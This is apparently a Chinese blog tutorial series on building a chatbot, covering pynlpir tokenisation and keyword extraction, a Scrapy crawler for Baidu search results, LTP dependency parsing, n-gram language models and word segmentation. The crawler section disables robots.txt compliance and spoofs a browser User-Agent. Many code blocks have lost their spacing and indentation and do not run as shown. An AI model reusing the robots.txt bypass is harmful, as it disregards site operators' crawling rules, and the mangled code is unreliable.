chatbot:看你这么好学,那我就多给你讲一讲。聊天机器人的技术可以分成四种类型:1)基于检索的技术;2)基于模式匹配的技术;3)基于自然语言理解的技术;4)基于统计翻译模型的技术。这几种技术并不是都要实现,而是选其一,听我给你说说他们的优缺点,你就知道该选哪一种了。基于检索的技术就是信息检索技术,它简单易实现,但无法从句法关系和语义关系给出答案,也就是搞不定推理问题,所以直接pass掉。基于模式匹配的技术就是把问题往已经梳理好的几种模式上去靠,这种做推理简单,但是模式我们涵盖不全,所以也pass掉。基于自然语言理解就是把浅层分析加上句法分析、语义分析都融入进来做的补充和改进。基于统计翻译就是把问句里的疑问词留出来,然后和候选答案资料做配对,能对齐了就是答案,对不齐就对不起了,所以pass掉。选哪个知道了吗?

我:知道了!基于自然语言理解的技术!so easy!妈妈再也不用担心我的学习!o(╯□╰)o

半个小时搞定词性标注与关键词提取

想要做到和人聊天,首先得先读懂对方在说什么,所以问句解析是整个聊天过程的第一步,问句解析是一个涉及知识非常全面的过程,几乎涵盖了自然语言处理的全部,本节让我们尝试一下如何分析一个问句

问句解析的过程

一般问句解析需要进行分词、词性标注、命名实体识别、关键词提取、句法分析以及查询问句分类等。这些事情我们从头开始做无非是重复造轮子,傻子才会这么做,人之所以为人是因为会使用工具。网络上有关中文的NLP工具有很多,介绍几个不错的:

第一个要数哈工大的LTP(语言技术平台)了,它可以做中文分词、词性标注、命名实体识别、依存句法分析、语义角色标注等丰富、 高效、精准的自然语言处理技术

第二个就是博森科技了,它除了做中文分词、词性标注、命名实体识别、依存文法之外还可以做情感分析、关键词提取、新闻分类、语义联想、时间转换、新闻摘要等,但因为是商业化的公司,除了分词和词性标注免费之外全都收费

第三个就是jieba分词,这个开源小工具分词和词性标注做的挺不错的,但是其他方面还欠缺一下,如果只是中文分词的需求完全可以满足

第四个就是中科院张华平博士的NLPIR汉语分词系统,也能支持关键词提取

我们优先选择NLPIR

NLPIR使用

文档在http://pynlpir.readthedocs.io/en/latest/

首先安装pynlpir库

1
2
pip install pynlpir
pynlpir update

若出现授权错误,则去https://github.com/NLPIR-team/NLPIR/tree/master/License/license%20for%20a%20month/NLPIR-ICTCLAS%E5%88%86%E8%AF%8D%E7%B3%BB%E7%BB%9F%E6%8E%88%E6%9D%83下载授权文件NLPIR.user, 覆盖到/usr/local/lib/python2.7/dist-packages/pynlpir/Data/

写个小程序测试一下分词效果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# coding:utf-8
importsys
reload(sys)
sys.setdefaultencoding("utf-8")
importpynlpir
pynlpir.open()
s ='聊天机器人到底该怎么做呢?'
segments = pynlpir.segment(s)
forsegmentinsegments:
printsegment[0],'\t', segment[1]
pynlpir.close()
1
2
3
4
5
6
7
8
聊天 verb
机器人 noun
到底 adverb
该 verb
怎么 pronoun
做 verb
呢 modal particle
? punctuation mark

下面我们再继续试下关键词提取效果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# coding:utf-8
importsys
reload(sys)
sys.setdefaultencoding("utf-8")
importpynlpir
pynlpir.open()
s ='聊天机器人到底该怎么做呢?'
key_words = pynlpir.get_key_words(s, weighted=True)
forkey_wordinkey_words:
printkey_word[0],'\t', key_word[1]
pynlpir.close()
1
2
聊天 2.0
机器人 2.0

从这个小程序来看,分词和关键词提取效果很好

下面我们再来试验一个,这一次我们把分析功能全打开,部分代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# coding:utf-8
importsys
reload(sys)
sys.setdefaultencoding("utf-8")
importpynlpir
pynlpir.open()
s ='海洋是如何形成的'
segments = pynlpir.segment(s, pos_names='all', pos_english=False)
forsegmentinsegments:
printsegment[0],'\t', segment[1]
key_words = pynlpir.get_key_words(s, weighted=True)
forkey_wordinkey_words:
printkey_word[0],'\t', key_word[1]
pynlpir.close()
1
2
3
4
5
6
7
8
海洋 noun
是 verb:verb 是
如何 pronoun:interrogative pronoun:predicate interrogative pronoun
形成 verb
的 particle:particle 的/底
海洋 2.0
形成 2.0

如果我们把segments在加上一个参数pos_english=False,也就是不使用英语,那么输出就是

1
2
3
4
5
6
7
8
海洋 名词
是 动词:动词"是"
如何 代词:疑问代词:谓词性疑问代词
形成 动词
的 助词:的/底
海洋 2.0
形成 2.0

解释一下

这里的segment是切词的意思,返回的是tuple(token, pos),其中token就是切出来的词,pos就是语言属性

调用segment方法指定的pos_names参数可以是’all’, ‘child’, ‘parent’,默认是parent, 表示获取该词性的最顶级词性,child表示获取该词性的最具体的信息,all表示获取该词性相关的所有词性信息,相当于从其顶级词性到该词性的一条路径

词性分类表

查看nlpir的源代码中的pynlpir/docs/pos_map.rst,可以看出全部词性分类及其子类别如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
POS_MAP = {
'n': ('名词', 'noun', {
'nr': ('人名', 'personal name', {
'nr1': ('汉语姓氏', 'Chinese surname'),
'nr2': ('汉语名字', 'Chinese given name'),
'nrj': ('日语人名', 'Japanese personal name'),
'nrf': ('音译人名', 'transcribed personal name')
}),
'ns': ('地名', 'toponym', {
'nsf': ('音译地名', 'transcribed toponym'),
}),
'nt': ('机构团体名', 'organization/group name'),
'nz': ('其它专名', 'other proper noun'),
'nl': ('名词性惯用语', 'noun phrase'),
'ng': ('名词性语素', 'noun morpheme'),
}),
't': ('时间词', 'time word', {
'tg': ('时间词性语素', 'time morpheme'),
}),
's': ('处所词', 'locative word'),
'f': ('方位词', 'noun of locality'),
'v': ('动词', 'verb', {
'vd': ('副动词', 'auxiliary verb'),
'vn': ('名动词', 'noun-verb'),
'vshi': ('动词"是"', 'verb 是'),
'vyou': ('动词"有"', 'verb 有'),
'vf': ('趋向动词', 'directional verb'),
'vx': ('行事动词', 'performative verb'),
'vi': ('不及物动词', 'intransitive verb'),
'vl': ('动词性惯用语', 'verb phrase'),
'vg': ('动词性语素', 'verb morpheme'),
}),
'a': ('形容词', 'adjective', {
'ad': ('副形词', 'auxiliary adjective'),
'an': ('名形词', 'noun-adjective'),
'ag': ('形容词性语素', 'adjective morpheme'),
'al': ('形容词性惯用语', 'adjective phrase'),
}),
'b': ('区别词', 'distinguishing word', {
'bl': ('区别词性惯用语', 'distinguishing phrase'),
}),
'z': ('状态词', 'status word'),
'r': ('代词', 'pronoun', {
'rr': ('人称代词', 'personal pronoun'),
'rz': ('指示代词', 'demonstrative pronoun', {
'rzt': ('时间指示代词', 'temporal demonstrative pronoun'),
'rzs': ('处所指示代词', 'locative demonstrative pronoun'),
'rzv': ('谓词性指示代词', 'predicate demonstrative pronoun'),
}),
'ry': ('疑问代词', 'interrogative pronoun', {
'ryt': ('时间疑问代词', 'temporal interrogative pronoun'),
'rys': ('处所疑问代词', 'locative interrogative pronoun'),
'ryv': ('谓词性疑问代词', 'predicate interrogative pronoun'),
}),
'rg': ('代词性语素', 'pronoun morpheme'),
}),
'm': ('数词', 'numeral', {
'mq': ('数量词', 'numeral-plus-classifier compound'),
}),
'q': ('量词', 'classifier', {
'qv': ('动量词', 'verbal classifier'),
'qt': ('时量词', 'temporal classifier'),
}),
'd': ('副词', 'adverb'),
'p': ('介词', 'preposition', {
'pba': ('介词“把”', 'preposition 把'),
'pbei': ('介词“被”', 'preposition 被'),
}),
'c': ('连词', 'conjunction', {
'cc': ('并列连词', 'coordinating conjunction'),
}),
'u': ('助词', 'particle', {
'uzhe': ('着', 'particle 着'),
'ule': ('了/喽', 'particle 了/喽'),
'uguo': ('过', 'particle 过'),
'ude1': ('的/底', 'particle 的/底'),
'ude2': ('地', 'particle 地'),
'ude3': ('得', 'particle 得'),
'usuo': ('所', 'particle 所'),
'udeng': ('等/等等/云云', 'particle 等/等等/云云'),
'uyy': ('一样/一般/似的/般', 'particle 一样/一般/似的/般'),
'udh': ('的话', 'particle 的话'),
'uls': ('来讲/来说/而言/说来', 'particle 来讲/来说/而言/说来'),
'uzhi': ('之', 'particle 之'),
'ulian': ('连', 'particle 连'),
}),
'e': ('叹词', 'interjection'),
'y': ('语气词', 'modal particle'),
'o': ('拟声词', 'onomatopoeia'),
'h': ('前缀', 'prefix'),
'k': ('后缀' 'suffix'),
'x': ('字符串', 'string', {
'xe': ('Email字符串', 'email address'),
'xs': ('微博会话分隔符', 'hashtag'),
'xm': ('表情符合', 'emoticon'),
'xu': ('网址URL', 'URL'),
'xx': ('非语素字', 'non-morpheme character'),
}),
'w': ('标点符号', 'punctuation mark', {
'wkz': ('左括号', 'left parenthesis/bracket'),
'wky': ('右括号', 'right parenthesis/bracket'),
'wyz': ('左引号', 'left quotation mark'),
'wyy': ('右引号', 'right quotation mark'),
'wj': ('句号', 'period'),
'ww': ('问号', 'question mark'),
'wt': ('叹号', 'exclamation mark'),
'wd': ('逗号', 'comma'),
'wf': ('分号', 'semicolon'),
'wn': ('顿号', 'enumeration comma'),
'wm': ('冒号', 'colon'),
'ws': ('省略号', 'ellipsis'),
'wp': ('破折号', 'dash'),
'wb': ('百分号千分号', 'percent/per mille sign'),
'wh': ('单位符号', 'unit of measure sign'),
}),
}

好,这回我们一下子完成了分词、词性标注、关键词提取。命名实体识别、句法分析以及查询问句分类我们之后再研究

输出文本,输出提切结果,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# coding:utf-8
import sys
reload(sys)
sys.setdefaultencoding( "utf-8" )
import pynlpir
pynlpir.open()
s = raw_input('请输入语句:')
segments = pynlpir.segment(s, pos_names='all', pos_english=False)
for segment in segments:
print segment[0], '\t', segment[1]
key_words = pynlpir.get_key_words(s, weighted=True)
for key_word in key_words:
print key_word[0], '\t', key_word[1]
pynlpir.close()

0字节存储海量语料资源

基于语料做机器学习需要海量数据支撑,如何能不存一点数据获取海量数据呢?我们可以以互联网为强大的数据后盾,搜索引擎为我们提供了高效的数据获取来源,结构化的搜索结果展示为我们实现了天然的特征基础,唯一需要我们做的就是在海量结果中选出我们需要的数据,本节我们来探索如何利用互联网拿到我们所需的语料资源

关键词提取

互联网资源无穷无尽,如何获取到我们所需的那部分语料库呢?这需要我们给出特定的关键词,而基于问句的关键词提取上一节已经做了介绍,利用pynlpir库可以非常方便地实现关键词提取,比如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# coding:utf-8
importsys
reload(sys)
sys.setdefaultencoding("utf-8")
importpynlpir
pynlpir.open()
s ='怎么才能把电脑里的垃圾文件删除'
key_words = pynlpir.get_key_words(s, weighted=True)
forkey_wordinkey_words:
printkey_word[0],'\t', key_word[1]
pynlpir.close()

提取出的关键词如下:

1
2
3
4
电脑 2.0
垃圾 2.0
文件 2.0
删除 1.0

我们基于这四个关键词来获取互联网的资源就可以得到我们所需要的语料信息

充分利用搜索引擎

有了关键词,想获取预料信息,还需要知道几大搜索引擎的调用接口,首先我们来探索一下百度,百度的接口是这样的:

https://www.baidu.com/s?wd=机器学习 数据挖掘 信息检索

把wd参数换成我们的关键词就可以拿到相应的结果,我们用程序来尝试一下:

首先创建scrapy工程,执行:

1
scrapy startproject baidu_search

自动生成了baidu_search目录和下面的文件(不知道怎么使用scrapy,请见我的文章教你成为全栈工程师(Full Stack Developer) 三十-十分钟掌握最强大的python爬虫)

创建baidu_search/baidu_search/spiders/baidu_search.py文件,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# coding:utf-8
importsys
reload(sys)
sys.setdefaultencoding("utf-8")
importscrapy
classBaiduSearchSpider(scrapy.Spider):
name ="baidu_search"
allowed_domains = ["baidu.com"]
start_urls = [
"https://www.baidu.com/s?wd=机器学习"
]
defparse(self, response):
printresponse.body

这样我们的抓取器就做好了,进入baidu_search/baidu_search/目录,执行:

1
scrapy crawl baidu_search

我们发现返回的数据是空,下面我们修改配置来解决这个问题,修改settings.py文件,把ROBOTSTXT_OBEY改为

1
ROBOTSTXT_OBEY = False

并把USER_AGENT设置为:

1
USER_AGENT = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36'

为了避免抓取hang住,我们添加如下超时设置:

1
DOWNLOAD_TIMEOUT = 5

再次执行

1
scrapy crawl baidu_search

这次终于可以看到大片大片的html了,我们临时把他写到文件中,修改parse()函数如下:

1
2
3
4
def parse(self, response):
filename = "result.html"
with open(filename, 'wb') as f:
f.write(response.body)

重新执行后生成了result.html,我们用浏览器打开本地文件。

语料提取

上面得到的仅是搜索结果,它只是一种索引,真正的内容需要进入到每一个链接才能拿到,下面我们尝试提取出每一个链接并继续抓取里面的内容,那么如何提取链接呢,我们来分析一下result.html这个抓取百度搜索结果文件

我们可以看到,每一条链接都是嵌在class=c-container这个div里面的一个h3下的a标签的href属性

所以我们的提取规则就是:

1
hrefs = response.selector.xpath('//div[contains(@class, "c-container")]/h3/a/@href').extract()

修改parse()函数并添加如下代码:

1
2
3
hrefs = response.selector.xpath('//div[contains(@class, "c-container")]/h3/a/@href').extract()
forhrefinhrefs:
printhref

执行打印出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
......
2017-08-21 22:26:17 [scrapy.core.engine] DEBUG: Crawled (200) <GET https://www.baidu.com/s?wd=%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0> (referer: None)
http://www.baidu.com/link?url=evTTw58FTb9_-gGNUuOgv3_coiSBhpi-4ZQKoLQZvPXbsj3kfzROuH4cm1CxPqSqWl_E1vamGMyOHAO1G3jXEMyXoF0fHSbGmWzX99tDkCnTLIrR8-oysqnEb7VzI2EC
http://www.baidu.com/link?url=T0QwDAL_1ypuWLshTeFSh9Tkl3wQVwQFaY_sjIRY1G7TaBq2YC1SO2T2mLsLTiC2tFJ878OihtiIkEgepJNG-q
http://www.baidu.com/link?url=xh1H8nE-T4CeAq_A3hGbNwHfDKs6K7HCprH6DrT29yv6vc3t_DSk6zq7_yekiL_iyd9rGxMSONN_wJDwpjqNAK
http://www.baidu.com/link?url=LErVCtq1lVKbh9QAAjdg37GW1_B3y8g_hjoafChZ90ycuG3razgc9X_lE4EgiibkjzCPImQOxTl-b5LOwZshtxSf7sCTOlBpLRjcMyG2Fc7
http://www.baidu.com/link?url=vv_KA9CNJidcGTV1SE096O9gXqVC7yooCDMVvCXg9Vg22nZW2eBIq9twWSFh17VVYqNJ26wkRJ7XKuTsD3-qFDdi5_v-AZZrDeNI07aZaYG
http://www.baidu.com/link?url=dvMowOWWPV3kEZxzy1q7W2OOBuph0kI7FuZTwp5-ejsU-f-Aiif-Xh7U4zx-qoKW_O1fWVwutJuOtEWr2A7cwq
http://www.baidu.com/link?url=evTTw58FTb9_-gGNUuOgvHC_aU-RmA0z8vc7dTH6-tgzMKuehldik7N_vi0s4njGvLo13id-kuGnVhhmfLV3051DpQ7CLO22rKxCuCicyTe
http://www.baidu.com/link?url=QDkm6sUGxi-qYC6XUYR2SWB_joBm_-25-EXUSyLm9852gQRu41y-u_ZPG7SKhjs6U_l99ZcChBNXz4Ub5a0RJa
http://www.baidu.com/link?url=Y9Qfk4m6Hm8gQ-7XgUzAl5b-bgxNOBn_e_7v9g6XHmsZ_4TK8Mm1E7ddQaDUAdSCxjgJ_Ao-vYA6VZjfVuIaX58PlWo_rV8AqhVrDA1Bd0W
http://www.baidu.com/link?url=X7eU-SPPEylAHBTIGhaET0DEaLEaTYEjknjI2_juK7XZ2D2eb90b1735tVu4vORourw_E68sZF8P2O4ghTVcQa
2017-08-21 22:26:17 [scrapy.core.engine] INFO: Closing spider (finished)
...

下面我们把这些url添加到抓取队列中继续抓取,修改baidu_search.py文件,如下:

1
2
3
4
5
6
7
def parse(self, response):
hrefs = response.selector.xpath('//div[contains(@class, "c-container")]/h3/a/@href').extract()
for href in hrefs:
yield scrapy.Request(href, callback=self.parse_url)
def parse_url(self, response):
print len(response.body)

抓取效果如下:

1
2
3
4
5
6
7
8
2017-08-21 22:29:50 [scrapy.core.engine] DEBUG: Crawled (200) <GET https://www.baidu.com/s?wd=%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0> (referer: None)
2017-08-21 22:29:50 [scrapy.downloadermiddlewares.redirect] DEBUG: Redirecting (302) to <GET http://www.leiphone.com/news/201609/SJGulTsdGcisR8Wz.html> from <GET http://www.baidu.com/link?url=iQ6rC78zm48BmQQ2GcK8ffphKCITxraUEcyS1waz7_yn5JLl5ZJgKerMXO1yQozfC9vxN0C89iU0Rd2nwEFXoEj1doqsbCupuDARBEtlHW3>
2017-08-21 22:29:50 [scrapy.downloadermiddlewares.redirect] DEBUG: Redirecting (302) to <GET http://blog.jobbole.com/tag/machinelearning/> from <GET http://www.baidu.com/link?url=XIi6gyYcL8XtxD7ktWfZssm0Z2nO-TY5xzrHI8TLOMnUWj8a9u4swB3KI66yhT4wrqXhjxyRq95s5PkHlsplwq>
2017-08-21 22:29:50 [scrapy.downloadermiddlewares.redirect] DEBUG: Redirecting (302) to <GET https://www.zhihu.com/question/33892253> from <GET http://www.baidu.com/link?url=tP0PBScNvaht7GL1qoJCQQzfNpdmDK_Cw5FNF3xVwluaYwlLjWxEzgtFalHtai1KNd7XD4h54LlrmI2ZGgottK>
2017-08-21 22:29:50 [scrapy.downloadermiddlewares.redirect] DEBUG: Redirecting (302) to <GET http://open.163.com/special/opencourse/machinelearning.html> from <GET http://www.baidu.com/link?url=vZdsoRD6urZDhxJGRHNJJ7vSeTfI8mdkH0F01gkG24x9hj5HjiWPU7bsdDtJJMvEi-x4QIjX-hG5pQ4AWpeIq2u7NddTwiDDrXwRZF9_Sxe>
2017-08-21 22:29:50 [scrapy.downloadermiddlewares.redirect] DEBUG: Redirecting (302) to <GET http://tieba.baidu.com/f?kw=%BB%FA%C6%F7%D1%A7%CF%B0&fr=ala0&tpl=5> from <GET http://www.baidu.com/link?url=nSVlWumopaJ_gz-bWMvVTQBtLY8E0LkwP3gPc86n26XQ9WDdlsI_1pNAVGa_4YSYoKpHiUy2qcBdJOvQuxcvEmBFPGufpbHsCA3ia2t_-HS>
2017-08-21 22:29:50 [scrapy.downloadermiddlewares.redirect] DEBUG: Redirecting (302) to <GET http://tech.163.com/16/0907/07/C0BHQND400097U80.html> from <GET http://www.baidu.com/link?url=g7VePX8O7uHmJphvogYc6U8uMKbIbVSuFQAUw05fmD-tPTr4T9yvS4sbDZCZ8FYBelGq95nCpAJhghsiQf_hoq>
2017-08-21 22:29:50 [scrapy.downloadermiddlewares.redirect] DEBUG: Redirecting (302) to <GET https://www.zhihu.com/question/20691338> from <GET http://www.baidu.com/link?url=pjwLpE4UAddN9It0yK3-Ypr6MDcAciWoNMBb5GOnX0-Xi-vV3A1ZbWv32oCRwMoIKwa__pPdOxVTzrCu7d9zz_>

看起来能够正常抓取啦,下面我们把抓取下来的网页提取出正文并尽量去掉标签,如下:

1
2
defparse_url(self, response):
printremove_tags(response.selector.xpath('//body').extract()[0])

下面,我们希望把百度搜索结果中的摘要也能够保存下来作为我们语料的一部分,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
defparse(self, response):
hrefs = response.selector.xpath('//div[contains(@class, "c-container")]/h3/a/@href').extract()
containers = response.selector.xpath('//div[contains(@class, "c-container")]')
forcontainerincontainers:
href = container.xpath('h3/a/@href').extract()[0]
title = remove_tags(container.xpath('h3/a').extract()[0])
c_abstract = container.xpath('div/div/div[contains(@class, "c-abstract")]').extract()
abstract =""
iflen(c_abstract) >0:
abstract = remove_tags(c_abstract[0])
request = scrapy.Request(href, callback=self.parse_url)
request.meta['title'] = title
request.meta['abstract'] = abstract
yieldrequest
defparse_url(self, response):
print"url:", response.url
print"title:", response.meta['title']
print"abstract:", response.meta['abstract']
content = remove_tags(response.selector.xpath('//body').extract()[0])
print"content_len:", len(content)

解释一下,首先我们在提取url的时候顺便把标题和摘要都提取出来,然后通过scrapy.Request的meta传递到处理函数parse_url中,这样在抓取完成之后也能接到这两个值,然后提取出content,这样我们想要的数据就完整了:url、title、abstract、content

百度搜索数据几乎是整个互联网的镜像,所以你想要得到的答案,我们的语料库就是整个互联网,而我们完全借助于百度搜索引擎,不必提前存储任何资料,互联网真是伟大!

之后这些数据想保存在什么地方就看后面我们要怎么处理了,欲知后事如何,且听下回分解

教你如何利用强大的中文语言技术平台做依存句法和语义依存分析

句法分析是自然语言处理中非常重要的环节,没有句法分析是无法让计算机理解语言的含义的,依存句法分析由法国语言学家在1959年提出,影响深远,并且深受计算机行业青睐,依存句法分析也是做聊天机器人需要解决的最关键问题之一,语义依存更是对句子更深层次的分析,当然,有可用的工具我们就不重复造轮子,本节介绍如何利用国内领先的中文语言技术平台实现句法分析

什么是依存句法分析呢?

叫的晦涩的术语,往往其实灰常简单,句法就是句子的法律规则,也就是句子里成分都是按照什么法律规则组织在一起的。而依存句法就是这些成分之间有一种依赖关系。什么是依赖:没有你的话,我存在就是个错误。“北京是中国的首都”,如果没有“首都”,那么“中国的”存在就是个错误,因为“北京是中国的”表达的完全是另外一个意思了。

什么是语义依存分析呢?

“语义”就是说句子的含义,“张三昨天告诉李四一个秘密”,那么语义包括:谁告诉李四秘密的?张三。张三告诉谁一个秘密?李四。张三什么时候告诉的?昨天。张三告诉李四什么?秘密。

语义依存和依存句法的区别

依存句法强调介词、助词等的划分作用,语义依存注重实词之间的逻辑关系

另外,依存句法随着字面词语变化而不同,语义依存不同字面词语可以表达同一个意思,句法结构不同的句子语义关系可能相同。

依存句法分析和语义依存分析对我们的聊天机器人有什么意义呢?

依存句法分析和语义分析相结合使用,对对方说的话进行依存和语义分析后,一方面可以让计算机理解句子的含义,从而匹配到最合适的回答,另外如果有已经存在的依存、语义分析结果,还可以通过置信度匹配来实现聊天回答。

依存句法分析到底是怎么分析的呢?

依存句法分析的基本任务是确定句式的句法结构(短语结构)或句子中词汇之间的依存关系。依存句法分析最重要的两棵树:

依存树:子节点依存于父节点

依存投射树:实线表示依存联结关系,位置低的成分依存于位置高的成分,虚线为投射线

image

依存关系的五条公理

  1. 一个句子中只有一个成分是独立的

  2. 其他成分直接依存于某一成分

  3. 任何一个成分都不能依存于两个或两个以上的成分

  4. 如果A成分直接依存于B成分,而C成分在句子中位于A和B之间,那么C或者直接依存于B,或者直接依存于A和B之间的某一成分

  5. 中心成分左右两面的其他成分相互不发生关系

什么地方存在依存关系呢?比如合成词(如:国内)、短语(如:英雄联盟)很多地方都是

LTP依存关系标记

关系简称全程示例
主谓关系SBVsubject-verb我送她一束花 (我 <– 送)
动宾关系VOB 直接宾语verb-object我送她一束花 (送 –> 花)
间宾关系IOB 间接宾语indirect-object我送她一束花 (送 –> 她)
前置宾语FOB 前置宾语fronting-object他什么书都读 (书 <– 读)
兼语DBLdouble他请我吃饭 (请 –> 我)
定中关系ATTattribute红苹果 (红 <– 苹果)
状中结构ADVadverbial非常美丽 (非常 <– 美丽)
动补结构CMPcomplement做完了作业 (做 –> 完)
并列关系COOcoordinate大山和大海 (大山 –> 大海)
介宾关系POBpreposition-object在贸易区内 (在 –> 内)
左附加关系LADleft adjunct大山和大海 (和 <– 大海)
右附加关系RADright adjunct孩子们 (孩子 –> 们)
独立结构ISindependent structure两个单句在结构上彼此独立
核心关系HEDhead指整个句子的核心

那么依存关系是怎么计算出来的呢?

是通过机器学习和人工标注来完成的,机器学习依赖人工标注,那么都哪些需要我们做人工标注呢?分词词性、依存树库、语义角色都需要做人工标注,有了这写人工标注之后,就可以做机器学习来分析新的句子的依存句法了

LTP云平台怎么用?

http://www.ltp-cloud.com/

把语言模型探究到底

无论什么做自然语言处理的工具,都是基于计算机程序实现的,而计算机承担了数学计算的职责,那么自然语言和数学之间的联系就是语言模型,只有理解语言模型才能理解各种工具的实现原理,本节让我们深究语言模型的世界

什么是数学模型

数学模型是运用数理逻辑方法和数学语言建构的科学或工程模型。说白了,就是用数学的方式来解释事实。举个简单的例子:你有一只铅笔,又捡了一只,一共是两只,数学模型就是1+1=2。举个复杂的例子:你在路上每周能捡到3只铅笔,数学模型就是P(X)=3/7,这个数学模型可以帮你预测明天捡到铅笔的可能性。当然解释实事的数学模型不是唯一的,比如每周捡三只铅笔的数学模型还可能是P(qt=sj|qt-1=si,qt-2=sk,…),s=0,1,也就是有两个状态的马尔可夫模型,意思就是明天是否捡到铅笔取决于前几天有没有捡到铅笔

什么是数学建模

数学建模就是通过计算得到的结果来解释实际问题,并接受实际的检验,来建立数学模型的全过程。

什么是语言模型

语言模型是根据语言客观事实而进行的语言抽象数学建模。说白了,就是找到一个数学模型,让它来解释自然语言的事实。

业界认可的语言模型

业界目前比较认可而且有效的语言模型是n元语法模型(n-gram model),它本质上是马尔可夫模型,简单来描述就是:一句话中下一个词的出现和最近n个词有关(包括它自身)。详细解释一下:

如果这里的n=1时,那么最新一个词只和它自己有关,也就是它是独立的,和前面的词没关系,这叫做一元文法

如果这里的n=2时,那么最新一个词和它前面一个词有关,比如前面的词是“我”,那么最新的这个词是“是”的概率比较高,这叫做二元文法,也叫作一阶马尔科夫链

依次类推,工程上n=3用的是最多的,因为n越大约束信息越多,n越小可靠性更高

n元语法模型实际上是一个概率模型,也就是出现一个词的概率是多少,或者一个句子长这个样子的概率是多少。

这就又回到了之前文章里提到的自然语言处理研究的两大方向:基于规则、基于统计。n元语法模型显然是基于统计的方向。

概率是如何统计的

说到基于统计,那么就要说概率是如何估计的了,通常都是使用最大似然估计,怎么样理解“最大似然估计”,最大似然就是最最最最最相似的,那么和谁相似,和历史相似,历史是什么样的?10个词里出现过2次,所以是2/10=1/5,所以经常听说过的“最大似然估计”就是用历史出现的频率来估计概率的方法。这么说就懂了吧?

语言模型都有哪些困难

1. 千变万化的自然语言导致的0概率问题

基于统计的自然语言处理需要基于大量语料库进行,而自然语言千变万化,可以理解所有词汇的笛卡尔积,数量大到无法想象,有限的语料库是难以穷举语言现象的,因此n元语法模型会出现某一句话出现的概率为0的情况,比如我这篇博客在我写出来之前概率就是0,因为我是原创。那么这个0概率的问题如何解决呢?这就是业界不断在研究的数据平滑技术,也就是通过各种数学方式来让每一句话的概率都大于0。具体方法不列举,都是玩数学的,比较简单,无非就是加个数或者减个数或者做个插值平滑一下,效果上应用在不同特点的数据上各有千秋。平滑的方法确实有效,各种自然语言工具中都实现了,直接用就好了。

2. 特定领域的特定词概率偏大问题

每一种领域都会有一些词汇比正常概率偏大,比如计算机领域会经常出现“性能”、“程序”等词汇,这个解决办法可以通过缓存一些刚刚出现过的词汇来提高后面出现的概率来解决。当然这里面是有很多技巧的,我们并不是认为所有出现过的词后面概率都较大,而是会考虑这些词出现的频率和规律(如:词距)来预测。

3. 单一语言模型总会有弊端

还是因为语料库的不足,我们会融合多种语料库,但因为不同语料库之间的差异,导致我们用单一语言模型往往不够准确,因此,有一种方法可以缓和这种不准确性,那就是把多种语言模型混到一起来计算,这其实是一种折中,这种方法low且有效。

还有一种方法就是用多种语言模型来分别计算,最后选择熵最大的一种,这其实也是一种折中,用在哪种地方就让哪种模型生效。

神经网络语言模型

21世纪以来,统计学习领域无论什么都要和深度学习搭个边,毕竟计算机计算能力提升了很多,无论多深都不怕。神经网络语言模型可以看做是一种特殊的模型平滑方式,本质上还是在计算概率,只不过通过深层的学习来得到更正确的概率。

语言模型的应用

这几乎就是自然语言处理的应用了,有:中文分词、机器翻译、拼写纠错、语音识别、音子转换、自动文摘、问答系统、OCR等

探究中文分词的艺术

中文是世界语言界的一朵奇葩,它天生把词连在一起,让计算机望而却步,一句#他说的确实在理#让计算机在#的确#、#实在#、#确实#里面挣扎,但是统计自然语言处理却让计算机有了智能

中文分词是怎么走到今天的

话说上个世纪,中文自动分词还处于初级阶段,每句话都要到汉语词表中查找,有没有这个词?有没有这个词?所以研究集中在:怎么查找最快、最全、最准、最狠……,所以就出现了正向最大匹配法、逆向最大匹配法、双向扫描法、助词遍历法……,用新世纪比较流行的一个词来形容就是:你太low了!

中文自动分词最难的两个问题:1)歧义消除;2)未登陆词识别。说句公道话,没有上个世纪那么low的奠定基础,也就没有这个世纪研究重点提升到这两个高级的问题

ps:未登录词就是新词,词表里没有的词

本世纪计算机软硬件发展迅猛,计算量存储量都不再是问题,因此基于统计学习的自动分词技术成为主流,所以就出现了各种新分词方法,也更适用于新世纪文本特点

从n元语法模型开始说起

上节讲到了n元语法模型,在前n-1个词出现的条件下,下一个词出现的概率是有统计规律的,这个规律为中文自动分词提供了统计学基础,所以出现了这么几种统计分词方法:N-最短路径分词法、基于n元语法模型的分词法

N-最短路径分词法其实就是一元语法模型,每个词成为一元,独立存在,出现的概率可以基于大量语料统计得出,比如“确实”这个词出现概率的0.001(当然这是假设,别当真),我们把一句话基于词表的各种切词结果都列出来,因为字字组合可能有很多种,所以有多个候选结果,这时我们利用每个词出现的概率相乘起来,得到的最终结果,谁最大谁就最有可能是正确的,这就是N-最短路径分词法。

这里的N的意思是说我们计算概率的时候最多只考虑前N个词,因为一个句子可能很长很长,词离得远,相关性就没有那么强了

这里的最短路径其实是传统最短路径的一种延伸,由加权延伸到了概率乘积

而基于n元语法模型的分词法就是在N-最短路径分词法基础上把一元模型扩展成n元模型,也就是统计出的概率不再是一个词的概率,而是基于前面n个词的条件概率

人家基于词,我来基于字

由字构词的分词方法出现可以说是一项突破,发明者也因此得到了各项第一和很多奖项,那么这个著名的分词法是怎么做的呢?

